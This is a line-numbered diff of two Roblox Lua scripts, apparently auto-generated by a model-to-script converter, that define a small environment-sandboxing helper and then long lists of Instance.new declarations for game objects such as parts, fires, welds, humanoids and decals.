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1
2
--Converted with ttyyuu12345's model to script plugin v4
3
function sandbox(var,func)
4
	local env = getfenv(func)
5
	local newenv = setmetatable({},{
6
		__index = function(self,k)
7
			if k=="script" then
8
				return var
9
			else
10
				return env[k]
11
			end
12
		end,
13
	})
14
	setfenv(func,newenv)
15
	return func
16
end
17
cors = {}
18
mas = Instance.new("Model",game:GetService("Lighting"))
19
Model0 = Instance.new("Model")
20-
Part1 = Instance.new("Part")
20+
Model1 = Instance.new("Model")
21-
Fire2 = Instance.new("Fire")
21+
Model2 = Instance.new("Model")
22-
Script3 = Instance.new("Script")
22+
Part3 = Instance.new("Part")
23-
Part4 = Instance.new("Part")
23+
SpecialMesh4 = Instance.new("SpecialMesh")
24-
Fire5 = Instance.new("Fire")
24+
Decal5 = Instance.new("Decal")
25-
Script6 = Instance.new("Script")
25+
Part6 = Instance.new("Part")
26
Part7 = Instance.new("Part")
27-
Fire8 = Instance.new("Fire")
27+
Part8 = Instance.new("Part")
28-
Script9 = Instance.new("Script")
28+
Humanoid9 = Instance.new("Humanoid")
29
Part10 = Instance.new("Part")
30-
Part11 = Instance.new("Part")
30+
Script11 = Instance.new("Script")
31-
Fire12 = Instance.new("Fire")
31+
Part12 = Instance.new("Part")
32
Script13 = Instance.new("Script")
33-
Part14 = Instance.new("Part")
33+
ObjectValue14 = Instance.new("ObjectValue")
34-
Fire15 = Instance.new("Fire")
34+
IntValue15 = Instance.new("IntValue")
35
Script16 = Instance.new("Script")
36-
Part17 = Instance.new("Part")
36+
Script17 = Instance.new("Script")
37-
Fire18 = Instance.new("Fire")
37+
Script18 = Instance.new("Script")
38-
Script19 = Instance.new("Script")
38+
Part19 = Instance.new("Part")
39-
Part20 = Instance.new("Part")
39+
Decal20 = Instance.new("Decal")
40-
Fire21 = Instance.new("Fire")
40+
Model21 = Instance.new("Model")
41-
Script22 = Instance.new("Script")
41+
Model22 = Instance.new("Model")
42
Part23 = Instance.new("Part")
43-
Fire24 = Instance.new("Fire")
43+
SpecialMesh24 = Instance.new("SpecialMesh")
44-
Script25 = Instance.new("Script")
44+
Decal25 = Instance.new("Decal")
45
Part26 = Instance.new("Part")
46-
Fire27 = Instance.new("Fire")
46+
Part27 = Instance.new("Part")
47-
Script28 = Instance.new("Script")
47+
Part28 = Instance.new("Part")
48-
Part29 = Instance.new("Part")
48+
Humanoid29 = Instance.new("Humanoid")
49-
Fire30 = Instance.new("Fire")
49+
Part30 = Instance.new("Part")
50
Script31 = Instance.new("Script")
51-
TrussPart32 = Instance.new("TrussPart")
51+
Part32 = Instance.new("Part")
52-
Fire33 = Instance.new("Fire")
52+
Script33 = Instance.new("Script")
53-
Script34 = Instance.new("Script")
53+
ObjectValue34 = Instance.new("ObjectValue")
54-
TrussPart35 = Instance.new("TrussPart")
54+
IntValue35 = Instance.new("IntValue")
55-
Fire36 = Instance.new("Fire")
55+
Script36 = Instance.new("Script")
56
Script37 = Instance.new("Script")
57-
Part38 = Instance.new("Part")
57+
Script38 = Instance.new("Script")
58-
Fire39 = Instance.new("Fire")
58+
Part39 = Instance.new("Part")
59-
Script40 = Instance.new("Script")
59+
Decal40 = Instance.new("Decal")
60-
Part41 = Instance.new("Part")
60+
Model41 = Instance.new("Model")
61-
Fire42 = Instance.new("Fire")
61+
Model42 = Instance.new("Model")
62-
Script43 = Instance.new("Script")
62+
Part43 = Instance.new("Part")
63-
Part44 = Instance.new("Part")
63+
SpecialMesh44 = Instance.new("SpecialMesh")
64-
Fire45 = Instance.new("Fire")
64+
Decal45 = Instance.new("Decal")
65-
Script46 = Instance.new("Script")
65+
Part46 = Instance.new("Part")
66
Part47 = Instance.new("Part")
67-
Fire48 = Instance.new("Fire")
67+
Part48 = Instance.new("Part")
68-
Script49 = Instance.new("Script")
68+
Humanoid49 = Instance.new("Humanoid")
69
Part50 = Instance.new("Part")
70-
Fire51 = Instance.new("Fire")
70+
Script51 = Instance.new("Script")
71-
Script52 = Instance.new("Script")
71+
Part52 = Instance.new("Part")
72-
Part53 = Instance.new("Part")
72+
Script53 = Instance.new("Script")
73-
Fire54 = Instance.new("Fire")
73+
ObjectValue54 = Instance.new("ObjectValue")
74-
Script55 = Instance.new("Script")
74+
IntValue55 = Instance.new("IntValue")
75-
Part56 = Instance.new("Part")
75+
Script56 = Instance.new("Script")
76-
Fire57 = Instance.new("Fire")
76+
Script57 = Instance.new("Script")
77
Script58 = Instance.new("Script")
78
Part59 = Instance.new("Part")
79-
Fire60 = Instance.new("Fire")
79+
Decal60 = Instance.new("Decal")
80-
Script61 = Instance.new("Script")
80+
Model61 = Instance.new("Model")
81-
Part62 = Instance.new("Part")
81+
Model62 = Instance.new("Model")
82-
Fire63 = Instance.new("Fire")
82+
Part63 = Instance.new("Part")
83-
Script64 = Instance.new("Script")
83+
SpecialMesh64 = Instance.new("SpecialMesh")
84-
Part65 = Instance.new("Part")
84+
Decal65 = Instance.new("Decal")
85-
Fire66 = Instance.new("Fire")
85+
Part66 = Instance.new("Part")
86-
Script67 = Instance.new("Script")
86+
Part67 = Instance.new("Part")
87
Part68 = Instance.new("Part")
88-
Fire69 = Instance.new("Fire")
88+
Humanoid69 = Instance.new("Humanoid")
89-
Script70 = Instance.new("Script")
89+
Part70 = Instance.new("Part")
90-
Part71 = Instance.new("Part")
90+
Script71 = Instance.new("Script")
91-
Fire72 = Instance.new("Fire")
91+
Part72 = Instance.new("Part")
92
Script73 = Instance.new("Script")
93-
Part74 = Instance.new("Part")
93+
ObjectValue74 = Instance.new("ObjectValue")
94-
Fire75 = Instance.new("Fire")
94+
IntValue75 = Instance.new("IntValue")
95
Script76 = Instance.new("Script")
96-
Part77 = Instance.new("Part")
96+
Script77 = Instance.new("Script")
97-
Fire78 = Instance.new("Fire")
97+
Script78 = Instance.new("Script")
98-
Script79 = Instance.new("Script")
98+
Part79 = Instance.new("Part")
99-
Part80 = Instance.new("Part")
99+
Decal80 = Instance.new("Decal")
100-
Fire81 = Instance.new("Fire")
100+
Model81 = Instance.new("Model")
101-
Script82 = Instance.new("Script")
101+
Model82 = Instance.new("Model")
102
Part83 = Instance.new("Part")
103-
Fire84 = Instance.new("Fire")
103+
SpecialMesh84 = Instance.new("SpecialMesh")
104-
Script85 = Instance.new("Script")
104+
Decal85 = Instance.new("Decal")
105
Part86 = Instance.new("Part")
106-
Fire87 = Instance.new("Fire")
106+
Part87 = Instance.new("Part")
107-
Script88 = Instance.new("Script")
107+
Part88 = Instance.new("Part")
108-
Model89 = Instance.new("Model")
108+
Humanoid89 = Instance.new("Humanoid")
109
Part90 = Instance.new("Part")
110-
Fire91 = Instance.new("Fire")
110+
Script91 = Instance.new("Script")
111-
Script92 = Instance.new("Script")
111+
Part92 = Instance.new("Part")
112-
Part93 = Instance.new("Part")
112+
Script93 = Instance.new("Script")
113-
Fire94 = Instance.new("Fire")
113+
ObjectValue94 = Instance.new("ObjectValue")
114-
Script95 = Instance.new("Script")
114+
IntValue95 = Instance.new("IntValue")
115-
Part96 = Instance.new("Part")
115+
Script96 = Instance.new("Script")
116-
Tool97 = Instance.new("Tool")
116+
Script97 = Instance.new("Script")
117-
Part98 = Instance.new("Part")
117+
Script98 = Instance.new("Script")
118-
Sound99 = Instance.new("Sound")
118+
Part99 = Instance.new("Part")
119-
Sound100 = Instance.new("Sound")
119+
Decal100 = Instance.new("Decal")
120-
SpecialMesh101 = Instance.new("SpecialMesh")
120+
Model101 = Instance.new("Model")
121-
Weld102 = Instance.new("Weld")
121+
Model102 = Instance.new("Model")
122
Part103 = Instance.new("Part")
123-
Sound104 = Instance.new("Sound")
123+
SpecialMesh104 = Instance.new("SpecialMesh")
124-
Sound105 = Instance.new("Sound")
124+
Decal105 = Instance.new("Decal")
125-
SpecialMesh106 = Instance.new("SpecialMesh")
125+
Part106 = Instance.new("Part")
126-
Script107 = Instance.new("Script")
126+
Part107 = Instance.new("Part")
127-
Script108 = Instance.new("Script")
127+
Part108 = Instance.new("Part")
128-
LocalScript109 = Instance.new("LocalScript")
128+
Humanoid109 = Instance.new("Humanoid")
129-
Script110 = Instance.new("Script")
129+
Part110 = Instance.new("Part")
130
Script111 = Instance.new("Script")
131-
Script112 = Instance.new("Script")
131+
Part112 = Instance.new("Part")
132
Script113 = Instance.new("Script")
133-
Fire114 = Instance.new("Fire")
133+
ObjectValue114 = Instance.new("ObjectValue")
134-
Script115 = Instance.new("Script")
134+
IntValue115 = Instance.new("IntValue")
135-
Part116 = Instance.new("Part")
135+
Script116 = Instance.new("Script")
136-
Part117 = Instance.new("Part")
136+
Script117 = Instance.new("Script")
137
Script118 = Instance.new("Script")
138
Part119 = Instance.new("Part")
139-
Fire120 = Instance.new("Fire")
139+
Decal120 = Instance.new("Decal")
140-
Script121 = Instance.new("Script")
140+
Model121 = Instance.new("Model")
141-
Script122 = Instance.new("Script")
141+
Model122 = Instance.new("Model")
142-
RotateP123 = Instance.new("RotateP")
142+
Part123 = Instance.new("Part")
143-
RotateP124 = Instance.new("RotateP")
143+
SpecialMesh124 = Instance.new("SpecialMesh")
144-
RotateP125 = Instance.new("RotateP")
144+
Decal125 = Instance.new("Decal")
145-
RotateP126 = Instance.new("RotateP")
145+
Part126 = Instance.new("Part")
146-
RotateP127 = Instance.new("RotateP")
146+
Part127 = Instance.new("Part")
147
Part128 = Instance.new("Part")
148-
Fire129 = Instance.new("Fire")
148+
Humanoid129 = Instance.new("Humanoid")
149-
Script130 = Instance.new("Script")
149+
Part130 = Instance.new("Part")
150-
Part131 = Instance.new("Part")
150+
Script131 = Instance.new("Script")
151-
Fire132 = Instance.new("Fire")
151+
Part132 = Instance.new("Part")
152
Script133 = Instance.new("Script")
153-
Decal134 = Instance.new("Decal")
153+
ObjectValue134 = Instance.new("ObjectValue")
154-
Model135 = Instance.new("Model")
154+
IntValue135 = Instance.new("IntValue")
155-
Part136 = Instance.new("Part")
155+
Script136 = Instance.new("Script")
156-
Fire137 = Instance.new("Fire")
156+
Script137 = Instance.new("Script")
157
Script138 = Instance.new("Script")
158
Part139 = Instance.new("Part")
159-
Tool140 = Instance.new("Tool")
159+
Decal140 = Instance.new("Decal")
160-
Part141 = Instance.new("Part")
160+
Model141 = Instance.new("Model")
161-
Weld142 = Instance.new("Weld")
161+
Model142 = Instance.new("Model")
162-
Weld143 = Instance.new("Weld")
162+
Part143 = Instance.new("Part")
163-
Weld144 = Instance.new("Weld")
163+
SpecialMesh144 = Instance.new("SpecialMesh")
164-
Weld145 = Instance.new("Weld")
164+
Decal145 = Instance.new("Decal")
165-
Weld146 = Instance.new("Weld")
165+
Part146 = Instance.new("Part")
166-
Weld147 = Instance.new("Weld")
166+
Part147 = Instance.new("Part")
167-
Weld148 = Instance.new("Weld")
167+
Part148 = Instance.new("Part")
168-
Sound149 = Instance.new("Sound")
168+
Humanoid149 = Instance.new("Humanoid")
169-
Weld150 = Instance.new("Weld")
169+
Part150 = Instance.new("Part")
170-
Weld151 = Instance.new("Weld")
170+
Script151 = Instance.new("Script")
171-
Weld152 = Instance.new("Weld")
171+
Part152 = Instance.new("Part")
172-
Weld153 = Instance.new("Weld")
172+
Script153 = Instance.new("Script")
173-
Weld154 = Instance.new("Weld")
173+
ObjectValue154 = Instance.new("ObjectValue")
174-
Weld155 = Instance.new("Weld")
174+
IntValue155 = Instance.new("IntValue")
175-
Weld156 = Instance.new("Weld")
175+
Script156 = Instance.new("Script")
176-
Weld157 = Instance.new("Weld")
176+
Script157 = Instance.new("Script")
177-
Weld158 = Instance.new("Weld")
177+
Script158 = Instance.new("Script")
178-
Weld159 = Instance.new("Weld")
178+
Part159 = Instance.new("Part")
179-
Weld160 = Instance.new("Weld")
179+
Decal160 = Instance.new("Decal")
180-
Weld161 = Instance.new("Weld")
180+
Model161 = Instance.new("Model")
181-
Weld162 = Instance.new("Weld")
181+
Model162 = Instance.new("Model")
182-
Weld163 = Instance.new("Weld")
182+
Part163 = Instance.new("Part")
183-
Weld164 = Instance.new("Weld")
183+
SpecialMesh164 = Instance.new("SpecialMesh")
184-
Weld165 = Instance.new("Weld")
184+
Decal165 = Instance.new("Decal")
185-
Weld166 = Instance.new("Weld")
185+
Part166 = Instance.new("Part")
186-
Weld167 = Instance.new("Weld")
186+
Part167 = Instance.new("Part")
187-
Weld168 = Instance.new("Weld")
187+
Part168 = Instance.new("Part")
188-
Weld169 = Instance.new("Weld")
188+
Humanoid169 = Instance.new("Humanoid")
189-
Weld170 = Instance.new("Weld")
189+
Part170 = Instance.new("Part")
190-
Weld171 = Instance.new("Weld")
190+
Script171 = Instance.new("Script")
191-
Weld172 = Instance.new("Weld")
191+
Part172 = Instance.new("Part")
192-
Weld173 = Instance.new("Weld")
192+
Script173 = Instance.new("Script")
193-
Weld174 = Instance.new("Weld")
193+
ObjectValue174 = Instance.new("ObjectValue")
194-
Weld175 = Instance.new("Weld")
194+
IntValue175 = Instance.new("IntValue")
195-
Weld176 = Instance.new("Weld")
195+
Script176 = Instance.new("Script")
196-
Weld177 = Instance.new("Weld")
196+
Script177 = Instance.new("Script")
197-
Weld178 = Instance.new("Weld")
197+
Script178 = Instance.new("Script")
198-
Weld179 = Instance.new("Weld")
198+
Part179 = Instance.new("Part")
199-
Weld180 = Instance.new("Weld")
199+
Decal180 = Instance.new("Decal")
200-
Weld181 = Instance.new("Weld")
200+
Model181 = Instance.new("Model")
201-
Weld182 = Instance.new("Weld")
201+
Model182 = Instance.new("Model")
202-
Weld183 = Instance.new("Weld")
202+
Part183 = Instance.new("Part")
203-
Weld184 = Instance.new("Weld")
203+
SpecialMesh184 = Instance.new("SpecialMesh")
204-
Weld185 = Instance.new("Weld")
204+
Decal185 = Instance.new("Decal")
205-
Weld186 = Instance.new("Weld")
205+
Part186 = Instance.new("Part")
206-
Weld187 = Instance.new("Weld")
206+
Part187 = Instance.new("Part")
207-
Weld188 = Instance.new("Weld")
207+
Part188 = Instance.new("Part")
208-
Weld189 = Instance.new("Weld")
208+
Humanoid189 = Instance.new("Humanoid")
209-
Weld190 = Instance.new("Weld")
209+
Part190 = Instance.new("Part")
210-
Weld191 = Instance.new("Weld")
210+
Script191 = Instance.new("Script")
211-
Weld192 = Instance.new("Weld")
211+
Part192 = Instance.new("Part")
212-
Weld193 = Instance.new("Weld")
212+
Script193 = Instance.new("Script")
213-
Weld194 = Instance.new("Weld")
213+
ObjectValue194 = Instance.new("ObjectValue")
214-
Weld195 = Instance.new("Weld")
214+
IntValue195 = Instance.new("IntValue")
215-
Weld196 = Instance.new("Weld")
215+
Script196 = Instance.new("Script")
216-
Weld197 = Instance.new("Weld")
216+
Script197 = Instance.new("Script")
217-
Weld198 = Instance.new("Weld")
217+
Script198 = Instance.new("Script")
218-
Weld199 = Instance.new("Weld")
218+
Part199 = Instance.new("Part")
219-
Weld200 = Instance.new("Weld")
219+
Decal200 = Instance.new("Decal")
220-
Weld201 = Instance.new("Weld")
220+
Model201 = Instance.new("Model")
221-
Weld202 = Instance.new("Weld")
221+
Model202 = Instance.new("Model")
222-
Weld203 = Instance.new("Weld")
222+
Model203 = Instance.new("Model")
223-
Weld204 = Instance.new("Weld")
223+
Part204 = Instance.new("Part")
224-
Weld205 = Instance.new("Weld")
224+
SpecialMesh205 = Instance.new("SpecialMesh")
225-
Weld206 = Instance.new("Weld")
225+
Decal206 = Instance.new("Decal")
226-
Weld207 = Instance.new("Weld")
226+
Part207 = Instance.new("Part")
227-
Weld208 = Instance.new("Weld")
227+
Part208 = Instance.new("Part")
228-
Weld209 = Instance.new("Weld")
228+
Part209 = Instance.new("Part")
229-
Weld210 = Instance.new("Weld")
229+
Humanoid210 = Instance.new("Humanoid")
230-
Sound211 = Instance.new("Sound")
230+
Part211 = Instance.new("Part")
231-
Weld212 = Instance.new("Weld")
231+
Script212 = Instance.new("Script")
232-
Weld213 = Instance.new("Weld")
232+
Part213 = Instance.new("Part")
233-
Weld214 = Instance.new("Weld")
233+
Script214 = Instance.new("Script")
234-
Weld215 = Instance.new("Weld")
234+
ObjectValue215 = Instance.new("ObjectValue")
235-
Weld216 = Instance.new("Weld")
235+
IntValue216 = Instance.new("IntValue")
236-
Weld217 = Instance.new("Weld")
236+
Script217 = Instance.new("Script")
237-
Weld218 = Instance.new("Weld")
237+
Script218 = Instance.new("Script")
238-
Weld219 = Instance.new("Weld")
238+
Script219 = Instance.new("Script")
239-
Weld220 = Instance.new("Weld")
239+
Part220 = Instance.new("Part")
240-
Weld221 = Instance.new("Weld")
240+
Decal221 = Instance.new("Decal")
241-
Weld222 = Instance.new("Weld")
241+
Model222 = Instance.new("Model")
242-
Weld223 = Instance.new("Weld")
242+
Model223 = Instance.new("Model")
243-
Weld224 = Instance.new("Weld")
243+
Part224 = Instance.new("Part")
244-
Weld225 = Instance.new("Weld")
244+
SpecialMesh225 = Instance.new("SpecialMesh")
245-
Weld226 = Instance.new("Weld")
245+
Decal226 = Instance.new("Decal")
246-
Weld227 = Instance.new("Weld")
246+
Part227 = Instance.new("Part")
247-
Weld228 = Instance.new("Weld")
247+
Part228 = Instance.new("Part")
248-
Weld229 = Instance.new("Weld")
248+
Part229 = Instance.new("Part")
249-
Weld230 = Instance.new("Weld")
249+
Humanoid230 = Instance.new("Humanoid")
250-
Weld231 = Instance.new("Weld")
250+
Part231 = Instance.new("Part")
251-
Weld232 = Instance.new("Weld")
251+
Script232 = Instance.new("Script")
252-
Weld233 = Instance.new("Weld")
252+
Part233 = Instance.new("Part")
253-
Weld234 = Instance.new("Weld")
253+
Script234 = Instance.new("Script")
254-
SpecialMesh235 = Instance.new("SpecialMesh")
254+
ObjectValue235 = Instance.new("ObjectValue")
255-
Weld236 = Instance.new("Weld")
255+
IntValue236 = Instance.new("IntValue")
256-
Weld237 = Instance.new("Weld")
256+
Script237 = Instance.new("Script")
257-
Weld238 = Instance.new("Weld")
257+
Script238 = Instance.new("Script")
258-
Weld239 = Instance.new("Weld")
258+
Script239 = Instance.new("Script")
259-
Weld240 = Instance.new("Weld")
259+
Part240 = Instance.new("Part")
260-
Fire241 = Instance.new("Fire")
260+
Decal241 = Instance.new("Decal")
261-
Script242 = Instance.new("Script")
261+
Model242 = Instance.new("Model")
262-
Weld243 = Instance.new("Weld")
262+
Model243 = Instance.new("Model")
263-
Weld244 = Instance.new("Weld")
263+
Part244 = Instance.new("Part")
264-
Weld245 = Instance.new("Weld")
264+
SpecialMesh245 = Instance.new("SpecialMesh")
265-
RotateP246 = Instance.new("RotateP")
265+
Decal246 = Instance.new("Decal")
266-
SpecialMesh247 = Instance.new("SpecialMesh")
266+
Part247 = Instance.new("Part")
267-
Script248 = Instance.new("Script")
267+
Part248 = Instance.new("Part")
268-
LocalScript249 = Instance.new("LocalScript")
268+
Part249 = Instance.new("Part")
269-
LocalScript250 = Instance.new("LocalScript")
269+
Humanoid250 = Instance.new("Humanoid")
270
Part251 = Instance.new("Part")
271-
Sound252 = Instance.new("Sound")
271+
Script252 = Instance.new("Script")
272-
BodyGyro253 = Instance.new("BodyGyro")
272+
Part253 = Instance.new("Part")
273-
Sound254 = Instance.new("Sound")
273+
Script254 = Instance.new("Script")
274-
SpecialMesh255 = Instance.new("SpecialMesh")
274+
ObjectValue255 = Instance.new("ObjectValue")
275-
Script256 = Instance.new("Script")
275+
IntValue256 = Instance.new("IntValue")
276-
Fire257 = Instance.new("Fire")
276+
Script257 = Instance.new("Script")
277
Script258 = Instance.new("Script")
278-
Part259 = Instance.new("Part")
278+
Script259 = Instance.new("Script")
279-
Fire260 = Instance.new("Fire")
279+
Part260 = Instance.new("Part")
280-
Script261 = Instance.new("Script")
280+
Decal261 = Instance.new("Decal")
281-
Part262 = Instance.new("Part")
281+
Model262 = Instance.new("Model")
282-
Fire263 = Instance.new("Fire")
282+
Model263 = Instance.new("Model")
283-
Script264 = Instance.new("Script")
283+
Part264 = Instance.new("Part")
284-
Part265 = Instance.new("Part")
284+
SpecialMesh265 = Instance.new("SpecialMesh")
285-
Part266 = Instance.new("Part")
285+
Decal266 = Instance.new("Decal")
286-
Script267 = Instance.new("Script")
286+
Part267 = Instance.new("Part")
287-
RotateP268 = Instance.new("RotateP")
287+
Part268 = Instance.new("Part")
288-
RotateP269 = Instance.new("RotateP")
288+
Part269 = Instance.new("Part")
289-
RotateP270 = Instance.new("RotateP")
289+
Humanoid270 = Instance.new("Humanoid")
290-
RotateP271 = Instance.new("RotateP")
290+
Part271 = Instance.new("Part")
291-
RotateP272 = Instance.new("RotateP")
291+
Script272 = Instance.new("Script")
292-
Model273 = Instance.new("Model")
292+
Part273 = Instance.new("Part")
293-
Part274 = Instance.new("Part")
293+
Script274 = Instance.new("Script")
294-
Fire275 = Instance.new("Fire")
294+
ObjectValue275 = Instance.new("ObjectValue")
295-
Script276 = Instance.new("Script")
295+
IntValue276 = Instance.new("IntValue")
296-
Part277 = Instance.new("Part")
296+
Script277 = Instance.new("Script")
297-
Fire278 = Instance.new("Fire")
297+
Script278 = Instance.new("Script")
298
Script279 = Instance.new("Script")
299
Part280 = Instance.new("Part")
300-
Tool281 = Instance.new("Tool")
300+
Decal281 = Instance.new("Decal")
301-
SpecialMesh282 = Instance.new("SpecialMesh")
301+
Model282 = Instance.new("Model")
302-
Script283 = Instance.new("Script")
302+
Model283 = Instance.new("Model")
303-
Script284 = Instance.new("Script")
303+
Part284 = Instance.new("Part")
304-
Script285 = Instance.new("Script")
304+
SpecialMesh285 = Instance.new("SpecialMesh")
305-
LocalScript286 = Instance.new("LocalScript")
305+
Decal286 = Instance.new("Decal")
306-
IntValue287 = Instance.new("IntValue")
306+
Part287 = Instance.new("Part")
307-
IntValue288 = Instance.new("IntValue")
307+
Part288 = Instance.new("Part")
308-
Script289 = Instance.new("Script")
308+
Part289 = Instance.new("Part")
309-
LocalScript290 = Instance.new("LocalScript")
309+
Humanoid290 = Instance.new("Humanoid")
310
Part291 = Instance.new("Part")
311-
Sound292 = Instance.new("Sound")
311+
Script292 = Instance.new("Script")
312-
SpecialMesh293 = Instance.new("SpecialMesh")
312+
Part293 = Instance.new("Part")
313
Script294 = Instance.new("Script")
314-
Script295 = Instance.new("Script")
314+
ObjectValue295 = Instance.new("ObjectValue")
315-
Script296 = Instance.new("Script")
315+
IntValue296 = Instance.new("IntValue")
316-
LocalScript297 = Instance.new("LocalScript")
316+
Script297 = Instance.new("Script")
317-
LocalScript298 = Instance.new("LocalScript")
317+
Script298 = Instance.new("Script")
318
Script299 = Instance.new("Script")
319-
LocalScript300 = Instance.new("LocalScript")
319+
Part300 = Instance.new("Part")
320-
IntValue301 = Instance.new("IntValue")
320+
Decal301 = Instance.new("Decal")
321-
IntValue302 = Instance.new("IntValue")
321+
Model302 = Instance.new("Model")
322-
Script303 = Instance.new("Script")
322+
Model303 = Instance.new("Model")
323-
Vector3Value304 = Instance.new("Vector3Value")
323+
Part304 = Instance.new("Part")
324-
LocalScript305 = Instance.new("LocalScript")
324+
SpecialMesh305 = Instance.new("SpecialMesh")
325-
LocalScript306 = Instance.new("LocalScript")
325+
Decal306 = Instance.new("Decal")
326-
Vector3Value307 = Instance.new("Vector3Value")
326+
Part307 = Instance.new("Part")
327-
IntValue308 = Instance.new("IntValue")
327+
Part308 = Instance.new("Part")
328-
Script309 = Instance.new("Script")
328+
Part309 = Instance.new("Part")
329-
Script310 = Instance.new("Script")
329+
Humanoid310 = Instance.new("Humanoid")
330-
Fire311 = Instance.new("Fire")
330+
Part311 = Instance.new("Part")
331
Script312 = Instance.new("Script")
332
Part313 = Instance.new("Part")
333-
Part314 = Instance.new("Part")
333+
Script314 = Instance.new("Script")
334-
Fire315 = Instance.new("Fire")
334+
ObjectValue315 = Instance.new("ObjectValue")
335-
Script316 = Instance.new("Script")
335+
IntValue316 = Instance.new("IntValue")
336-
Part317 = Instance.new("Part")
336+
Script317 = Instance.new("Script")
337
Script318 = Instance.new("Script")
338
Script319 = Instance.new("Script")
339-
Script320 = Instance.new("Script")
339+
Part320 = Instance.new("Part")
340-
RotateP321 = Instance.new("RotateP")
340+
Decal321 = Instance.new("Decal")
341-
RotateP322 = Instance.new("RotateP")
341+
Model322 = Instance.new("Model")
342-
RotateP323 = Instance.new("RotateP")
342+
Model323 = Instance.new("Model")
343-
RotateP324 = Instance.new("RotateP")
343+
Part324 = Instance.new("Part")
344-
RotateP325 = Instance.new("RotateP")
344+
SpecialMesh325 = Instance.new("SpecialMesh")
345-
Part326 = Instance.new("Part")
345+
Decal326 = Instance.new("Decal")
346-
Fire327 = Instance.new("Fire")
346+
Part327 = Instance.new("Part")
347-
Script328 = Instance.new("Script")
347+
Part328 = Instance.new("Part")
348
Part329 = Instance.new("Part")
349-
Fire330 = Instance.new("Fire")
349+
Humanoid330 = Instance.new("Humanoid")
350-
Script331 = Instance.new("Script")
350+
Part331 = Instance.new("Part")
351-
Model332 = Instance.new("Model")
351+
Script332 = Instance.new("Script")
352
Part333 = Instance.new("Part")
353-
GuiMain334 = Instance.new("GuiMain")
353+
Script334 = Instance.new("Script")
354-
Frame335 = Instance.new("Frame")
354+
ObjectValue335 = Instance.new("ObjectValue")
355-
TextButton336 = Instance.new("TextButton")
355+
IntValue336 = Instance.new("IntValue")
356
Script337 = Instance.new("Script")
357
Script338 = Instance.new("Script")
358-
TextButton339 = Instance.new("TextButton")
358+
Script339 = Instance.new("Script")
359-
Script340 = Instance.new("Script")
359+
Part340 = Instance.new("Part")
360-
TextButton341 = Instance.new("TextButton")
360+
Decal341 = Instance.new("Decal")
361-
Script342 = Instance.new("Script")
361+
Model342 = Instance.new("Model")
362-
BodyVelocity343 = Instance.new("BodyVelocity")
362+
Model343 = Instance.new("Model")
363-
TextButton344 = Instance.new("TextButton")
363+
Part344 = Instance.new("Part")
364-
Script345 = Instance.new("Script")
364+
SpecialMesh345 = Instance.new("SpecialMesh")
365-
TextButton346 = Instance.new("TextButton")
365+
Decal346 = Instance.new("Decal")
366-
Script347 = Instance.new("Script")
366+
Part347 = Instance.new("Part")
367-
BodyVelocity348 = Instance.new("BodyVelocity")
367+
Part348 = Instance.new("Part")
368-
BodyForce349 = Instance.new("BodyForce")
368+
Part349 = Instance.new("Part")
369-
Script350 = Instance.new("Script")
369+
Humanoid350 = Instance.new("Humanoid")
370-
Script351 = Instance.new("Script")
370+
Part351 = Instance.new("Part")
371-
Fire352 = Instance.new("Fire")
371+
Script352 = Instance.new("Script")
372-
Script353 = Instance.new("Script")
372+
Part353 = Instance.new("Part")
373-
Model354 = Instance.new("Model")
373+
Script354 = Instance.new("Script")
374-
Part355 = Instance.new("Part")
374+
ObjectValue355 = Instance.new("ObjectValue")
375-
SpecialMesh356 = Instance.new("SpecialMesh")
375+
IntValue356 = Instance.new("IntValue")
376-
BodyForce357 = Instance.new("BodyForce")
376+
Script357 = Instance.new("Script")
377-
Fire358 = Instance.new("Fire")
377+
Script358 = Instance.new("Script")
378
Script359 = Instance.new("Script")
379
Part360 = Instance.new("Part")
380-
BlockMesh361 = Instance.new("BlockMesh")
380+
Decal361 = Instance.new("Decal")
381-
BodyForce362 = Instance.new("BodyForce")
381+
Model362 = Instance.new("Model")
382-
Fire363 = Instance.new("Fire")
382+
Model363 = Instance.new("Model")
383-
Script364 = Instance.new("Script")
383+
Part364 = Instance.new("Part")
384-
Part365 = Instance.new("Part")
384+
SpecialMesh365 = Instance.new("SpecialMesh")
385-
SpecialMesh366 = Instance.new("SpecialMesh")
385+
Decal366 = Instance.new("Decal")
386-
BodyForce367 = Instance.new("BodyForce")
386+
Part367 = Instance.new("Part")
387-
Fire368 = Instance.new("Fire")
387+
Part368 = Instance.new("Part")
388-
Script369 = Instance.new("Script")
388+
Part369 = Instance.new("Part")
389-
Part370 = Instance.new("Part")
389+
Humanoid370 = Instance.new("Humanoid")
390-
SpecialMesh371 = Instance.new("SpecialMesh")
390+
Part371 = Instance.new("Part")
391-
BodyForce372 = Instance.new("BodyForce")
391+
Script372 = Instance.new("Script")
392-
Fire373 = Instance.new("Fire")
392+
Part373 = Instance.new("Part")
393
Script374 = Instance.new("Script")
394-
Part375 = Instance.new("Part")
394+
ObjectValue375 = Instance.new("ObjectValue")
395-
SpecialMesh376 = Instance.new("SpecialMesh")
395+
IntValue376 = Instance.new("IntValue")
396-
BodyForce377 = Instance.new("BodyForce")
396+
Script377 = Instance.new("Script")
397-
Fire378 = Instance.new("Fire")
397+
Script378 = Instance.new("Script")
398
Script379 = Instance.new("Script")
399
Part380 = Instance.new("Part")
400-
SpecialMesh381 = Instance.new("SpecialMesh")
400+
Decal381 = Instance.new("Decal")
401-
BodyForce382 = Instance.new("BodyForce")
401+
Model382 = Instance.new("Model")
402-
Fire383 = Instance.new("Fire")
402+
Model383 = Instance.new("Model")
403-
Script384 = Instance.new("Script")
403+
Part384 = Instance.new("Part")
404-
Part385 = Instance.new("Part")
404+
SpecialMesh385 = Instance.new("SpecialMesh")
405-
BlockMesh386 = Instance.new("BlockMesh")
405+
Decal386 = Instance.new("Decal")
406-
BodyForce387 = Instance.new("BodyForce")
406+
Part387 = Instance.new("Part")
407-
Fire388 = Instance.new("Fire")
407+
Part388 = Instance.new("Part")
408-
Script389 = Instance.new("Script")
408+
Part389 = Instance.new("Part")
409-
Part390 = Instance.new("Part")
409+
Humanoid390 = Instance.new("Humanoid")
410-
SpecialMesh391 = Instance.new("SpecialMesh")
410+
Part391 = Instance.new("Part")
411-
BodyForce392 = Instance.new("BodyForce")
411+
Script392 = Instance.new("Script")
412-
Fire393 = Instance.new("Fire")
412+
Part393 = Instance.new("Part")
413
Script394 = Instance.new("Script")
414-
Part395 = Instance.new("Part")
414+
ObjectValue395 = Instance.new("ObjectValue")
415-
SpecialMesh396 = Instance.new("SpecialMesh")
415+
IntValue396 = Instance.new("IntValue")
416-
BodyForce397 = Instance.new("BodyForce")
416+
